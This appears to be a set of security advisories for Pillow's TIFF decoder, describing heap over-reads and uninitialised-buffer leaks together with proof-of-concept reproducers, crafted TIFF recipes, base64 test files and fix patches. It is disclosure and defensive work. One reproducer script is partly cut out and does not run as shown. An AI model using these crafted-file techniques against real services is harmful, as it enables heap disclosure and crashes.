head=b'\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8\\xc8' [perturb] tiled crafted ( 490 B) rows 8-255: 0 x b'LEAK', 63488/63488 == 0x55, head=b'UUUUUUUU' BUG ``` `im.load()` succeeds for every file. For the crafted files rows 8\u2013255 are the uninitialised strip/tile buffer, copied as-is into the image. With the attached patch applied, rows 8\u2013255 of the crafted files come back as `\\x00` bytes, with no `LEAK` and no `0x55`, and the script ends with `OK`. The `LEAK` count depends on where glibc places the buffer (the same freed chunk was reused in 500 of 500 runs here); the `MALLOC_PERTURB_` pass does not. The script covers the JPEG codec only. The Group 4 variant in the Details section (`Compression=4`, a T.6 stream that ends early) goes through the same `_decodeStrip()` copy, and the same fix covers it. ## Suggested fix The attached patch zeroes `state->buffer` before each libtiff read in both loops of `src/libImaging/TiffDecode.c` \u2014 before `TIFFReadTile()` in `_decodeTile()` and before `TIFFReadEncodedStrip()` in `_decodeStrip()` \u2014 so rows a codec does not produce are deterministic zeros rather than stale heap: ```diff --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ _decodeTile for (x = state->xoff; x < state->xsize; x += tile_width) { + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { @@ _decodeStrip for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( ``` A `memset` per strip/tile (rather than one `calloc` after the size is known) is needed because the same buffer is reused for every strip, and a short last strip would otherwise expose the previous strip's rows \u2014 harmless for disclosure, but the per-read `memset` keeps the behaviour uniform at the cost of one extra pass over the buffer. Promoting libtiff warnings to errors via a warning handler is not a good alternative: both codecs only warn (`Improper JPEG strip/tile size`, `Premature EOL`), but so do many legitimate files (unknown tags, bad tag counts), and the return value of `TIFFReadEncodedStrip()` carries no row count to check against. Initialising the buffer covers every codec. `_decodeAsRGBA()` needs no change: `TIFFRGBAImageGet()` fills its whole raster, and JPEG files do not reach it (`JPEGCOLORMODE_RGB` sends them down the strip path). Valid files decode exactly as before; rows a codec does not produce are now black instead of garbage, and nothing that previously loaded now fails. The patch also adds `test_jpeg_short_strip` to `Tests/test_file_libtiff.py`, parametrised over strip and tile, which builds the 256\u00d78-JPEG-in-256\u00d7256 file and asserts rows 8\u2013255 are zero. It is a regression guard for the fixed code rather than a reliable detector of the bug: in a fresh pytest process the unfixed strip variant can pass because the new heap chunk happens to be zero (the tiled variant fails before the fix). With the patch, `Tests/test_file_libtiff.py` and `Tests/test_file_tiff.py` pass and the reproducer prints `OK`. ## The patch Zero the libtiff strip/tile buffer before each TIFFReadEncodedStrip/TIFFReadTile in TiffDecode.c so short strips do not expose uninitialised heap Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..67bc96329 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase): im.load() assert im.size == (950, 975) + @pytest.mark.parametrize(\"tiled\", (False, True)) + def test_jpeg_short_strip(self, tiled: bool) -> None: + # The JPEG data in the strip/tile only contains 8 of the 256 rows that + # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist + # and still reports success, so the remaining rows must be cleared + # rather than left as uninitialised memory. + jpeg = io.BytesIO() + Image.new(\"L\", (256, 8), 200).save(jpeg, \"JPEG\") + jpeg_data = jpeg.getvalue() + + ifd = TiffImagePlugin.ImageFileDirectory_v2() + ifd[256] = 256 # ImageWidth + ifd[257] = 256 # ImageLength + ifd[258] = 8 # BitsPerSample + ifd[259] = 7 # Compression: JPEG + ifd[262] = 1 # PhotometricInterpretation: BlackIsZero + ifd[277] = 1 # SamplesPerPixel + if tiled: + ifd[322] = 256 # TileWidth + ifd[323] = 256 # TileLength + ifd[324] = 0 # TileOffsets + ifd[325] = len(jpeg_data) # TileByteCounts + # Point the tile data at the end of the IFD + ifd[324] = 8 + len(ifd.tobytes(8)) + else: + ifd[278] = 256 # RowsPerStrip + ifd[STRIPOFFSETS] = 0 # Updated by tobytes() to follow the IFD + ifd[279] = len(jpeg_data) # StripByteCounts + + b = io.BytesIO() + ifd.save(b) + b.write(jpeg_data) + + with Image.open(b) as im: + assert im.tile[0][0] == \"libtiff\" + im.load() + assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200) + assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0) + def test_orientation(self) -> None: with Image.open(\"Tests/images/g4_orientation_1.tif\") as base_im: for i in range(2, 9): diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..d1d6bfbbb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -457,6 +457,11 @@ _decodeTile( for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { + // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes + // to fewer rows than the tile length, leaving the rest of the + // buffer untouched. Clear it so that uninitialised memory is not + // copied into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { TRACE((\"Decode Error, Tile at %dx%d\\n\", x, y)); state->errcode = IMAGING_CODEC_BROKEN; @@ -563,6 +568,11 @@ _decodeStrip( int plane; for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes + // to fewer rows than RowsPerStrip, leaving the rest of the buffer + // untouched. Clear it so that uninitialised memory is not copied + // into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane), ``` ## The reproducer
Reproducer \u2014 repro, 2,688 bytes (click to open) Its last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`. ```python #!/usr/bin/env python3 # Pillow TiffDecode.c _decodeStrip/_decodeTile: strip/tile buffer is realloc()ed, never # initialised, and copied whole into the image even when libtiff's JPEG codec decoded # fewer rows than RowsPerStrip/TileLength. Two independent signals: # pass 1 (normal heap): seed freed 64 KiB chunks with b\"LEAK\" just before load() and # count copies of LEAK in the decoded pixels (file contains no such bytes); # pass 2 (same script re-run under glibc MALLOC_PERTURB_=170): fresh malloc memory is # 0x55, so rows that come back all-0x55 are provably uninitialised heap. import gc, io, os, struct, subprocess, sys from PIL import Image W = H = 256; ROWS = 8 perturbed = os.environ.get(\"MALLOC_PERTURB_\") == \"170\" if not perturbed: print(\"Pillow\", Image.__version__, Image.core.__file__) def tiff(jpeg_rows, tiled): j = io.BytesIO(); Image.new(\"L\", (W, jpeg_rows), 200).save(j, \"JPEG\"); j = j.getvalue() tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)] tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))]) tags.sort(); off = 8 + 2 + 12*len(tags) + 4 tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags] ifd = struct.pack(\" 0 or (perturbed and n55 == len(below))): bug = True if not perturbed: r = subprocess.run([sys.executable, sys.argv[0]], env={**os.environ, \"MALLOC_PERTURB_\": \"170\"}, capture_output=True, text=True) lines = r.stdout.rstrip().split(\"\\n\") print(\"\\n\".join(lines[:-1])); sys.stderr.write(r.stderr) bug = bug or lines[-1] == \"BUG\" print(\"BUG\" if bug else \"OK\") ```
---"}, {"id": "CVE-2026-112395", "fix_versions": ["13.0.0"], "aliases": ["GHSA-462x-pgg6-55fp"], "description": "### Summary Pillow's libImaging `_decodeTile` decoder, used to decode tiled TIFF images, allocates a per-tile buffer using `realloc(state->buffer, TIFFTileSize(tiff))`. After each `TIFFReadTile` it then iterates `tile_y` from 0 up to `current_tile_length` and calls the configured row unpacker (here `copy4`) with the source pointer `state->buffer + tile_y * row_byte_size`. When libtiff returns a `tile_bytes_size` smaller than the worst-case `row_byte_size * tile_length`, the inner stride-and-copy loop walks past the realloc'd region and `copy4` performs a 1024-byte `memcpy` that reads up to `(tile_length-1) * row_byte_size + row_byte_size` bytes from a buffer sized only to `tile_bytes_size`. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer. ### Details Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the `_decodeTile` path. The function: 1. Asks libtiff for `TIFFTileSize(tiff)` (the bytes-per-tile) and `TIFFTileRowSize(tiff)` (the bytes per row *as stored by libtiff*). 2. Reallocates `state->buffer` to exactly `tile_bytes_size`. 3. For each tile origin `(x, y)` and each plane, calls `TIFFReadTile` into `state->buffer`, then walks the tile row by row, calling the configured `ImagingShuffler` (here `copy4`) on each row's worth of source bytes. The validation done before the loop is: ```c if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` This rejects oversized libtiff tiles, but it does **not** reject *undersized* ones \u2014 i.e. the case where libtiff returns a `tile_bytes_size` strictly **less** than `row_byte_size * tile_length`. The loop body, however, indexes into the buffer assuming the buffer is at least `row_byte_size * tile_length` bytes long. ### Vulnerable Code ```c // src/libImaging/TiffDecode.c:446-490 \u2014 _decodeTile new_data = realloc(state->buffer, state->bytes); // bytes = tile_bytes_size if (!new_data) { ... } state->buffer = new_data; for (y = state->yoff; y < state->ysize; y += tile_length) { for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tile_width) { if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... } current_tile_width = min((INT32)tile_width, state->xsize - x); current_tile_length = min((INT32)tile_length, state->ysize - y); for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // <-- OOB stride current_tile_width ); } } } } ``` ```c // src/libImaging/Unpack.c:1288-1291 \u2014 copy4 (the crash site) static void copy4(UINT8 *out, const UINT8 *in, int pixels) { /* RGBA, CMYK quadruples */ memcpy(out, in, 4 * pixels); // <-- ASAN-detected READ here } ``` The PoC's tile metadata yields `tile_width = tile_length = 256`, `row_byte_size = 1024` (4 bytes/pixel \u00d7 256 pixels), and `tile_bytes_size = 196608` (which is 256\u00b7256\u00b73 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates `tile_y` from 0 to 255 and for the highest rows the source pointer `state->buffer + tile_y * 1024` already lies at or past offset 196608 \u2014 the very last row's `memcpy(in=buffer+255\u00b71024, 1024)` reads 1024 bytes starting `260096 - 196608 = 63488` bytes past the allocation; ASAN flags the very first byte past the heap region (`READ of size 1024 at \u2026 0 bytes after 196608-byte region`). The mismatch is real: libtiff's `TIFFTileSize` returns the *packed* per-tile storage (which depends on the file's photometric/separation layout \u2014 it can legitimately be smaller than `row_byte_size \u00d7 tile_length`), while the inner loop strides as if the buffer always equals `row_byte_size \u00d7 tile_length`. ## Attribution This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually."}, {"id": "CVE-2026-112404", "fix_versions": ["13.0.0"], "aliases": ["GHSA-c6hw-5grf-ff96"], "description": "``` ============================================================================ OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels Location: src/libImaging/TiffDecode.c:483 in _decodeTile() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================ ``` Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds. The bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff's view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it. The two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile. The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0). The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` \u2190 `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer. ## Details `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state->buffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow's *own* parse of the IFD. Nothing in either function checks that the unpacker's input row (`width * state->bits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout \u2014 a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) \u2014 the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, \u2026); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer. The ~400-byte TIFF `tile_count2.tif` generated by the reproducer \u2014 one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) \u2014 is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13\u201315 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0\u201312 and different bytes in rows 13\u201315 (`aa` vs `55`, i.e. glibc's fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 \u2190 _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable). ### Why the two parsers disagree libtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u2026)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`. Pillow keeps the first value and carries on: ```python # src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load()) try: (dest[tag],) = values except ValueError: # We've got a builtin tag with 1 expected entry warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\") dest[tag] = values[0] ``` so `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode: ```python # src/PIL/TiffImagePlugin.py:1578, 1600-1607 self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\" \u2026 if photo == 6: self._mode = \"RGB\" if self._compression in \"jpeg\" and self._planar_configuration == 1: rawmode = \"RGB\" else: rawmode = \"RGBX\" ``` `RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state->bits = 32` and `state->shuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff's* reading of the tag, which here is \"not YCbCr\": ```c // src/libImaging/TiffDecode.c:737-764 TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric); // unset -> stays 0 \u2026 readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0 \u2026 if (TIFFIsTiled(tiff)) { _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4 ``` ### The missing check `_decodeTile()` only guards against libtiff's tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler: ```c // src/libImaging/TiffDecode.c:403-487 (_decodeTile) tile_bytes_size = TIFFTileSize(tiff); // 256 \u2026 row_byte_size = TIFFTileRowSize(tiff); // 16 \u2026 if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) { // 256 > 1024 is false -> no abort \u2026 } state->bytes = tile_bytes_size; new_data = realloc(state->buffer, state->bytes); // 256-byte buffer (line 448) \u2026 for (tile_y = 0; tile_y < current_tile_length; tile_y++) { shuffler( // copy4: reads current_tile_width*4 = 64 bytes (UINT8 *)im->image[tile_y + y] + x * im->pixelsize, state->buffer + tile_y * row_byte_size, // from offset 16*tile_y current_tile_width ); ``` Row `tile_y` is read from `[16\u00b7tile_y, 16\u00b7tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state->bits / libtiff_bits_per_pixel \u2212 1) \u00d7 row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`. Note also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state->bits` in 32-bit unsigned arithmetic, so `tile_width * state->bits` wraps for `tile_width \u2265 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152\u00d71 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L \u2190 _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type. Compare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0): ```c // src/libImaging/TiffDecode.c:528-548 (_decodeStrip) unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8; \u2026 row_byte_size = TIFFScanlineSize(tiff); // if the unpacker calculated row size is > row byte size, (at least) the last // row of the strip will have a read buffer overflow. if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) { state->errcode = IMAGING_CODEC_BROKEN; return -1; } ``` The identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check. ### Same gap in `_decodeAsRGBA()` `_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state->shuffle` (line 373) without looking at `state->bits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer's `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state->bits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row \u2014 ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`. The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 (\"Do not open YCbCr colorspace images as RGB without libtiff (#9779)\", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` \u2190 `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer's `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way. ## Impact Any application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, \u2026) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included \u2014 up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state->buffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp \u2212 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption. This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a (\"Check for dimensions and sizes to fit into int\", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow's unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 (\"Fix CVE-2020-35654 - OOB Write in TiffDecode.c\"), first in 8.1.0. ## Reproducing Run `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end. The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process: - **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased). - **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions. - **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel). - **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile. For each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) \u2190 `_decodeTile` (`TiffDecode.c:483`) \u2190 `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive. Each step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`. ## Suggested fix The attached patch restores the `_decodeStrip()` invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer: - `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size > row_byte_size` (`TIFFTileRowSize()`). - `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state->bits > 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation. With the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass. These checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently \u2014 e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as \"unknown pixel mode\", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) \u2014 but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read. ## The patch Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does Applies to `src/libImaging/TiffDecode.c` at the commit above. ```diff diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py index 3d804ea4a..c08dfe77c 100644 --- a/Tests/test_file_libtiff.py +++ b/Tests/test_file_libtiff.py @@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase): with pytest.raises(OSError, match=\"decoder error -9\"): im.load() + @pytest.mark.parametrize( + \"data\", + ( + # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that + # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel) + # while libtiff ignores it and decodes 1 byte/pixel. + ( + b\"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA\" + b\"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA\" + b\"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4\" + b\"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm\" + b\"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT\" + b\"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A\" + b\"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt\" + b\"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna\" + b\"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=\" + ), + # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation + # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA) + # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel). + ( + b\"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA\" + b\"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA\" + b\"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB\" + b\"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS\" + b\"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3\" + b\"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J\" + 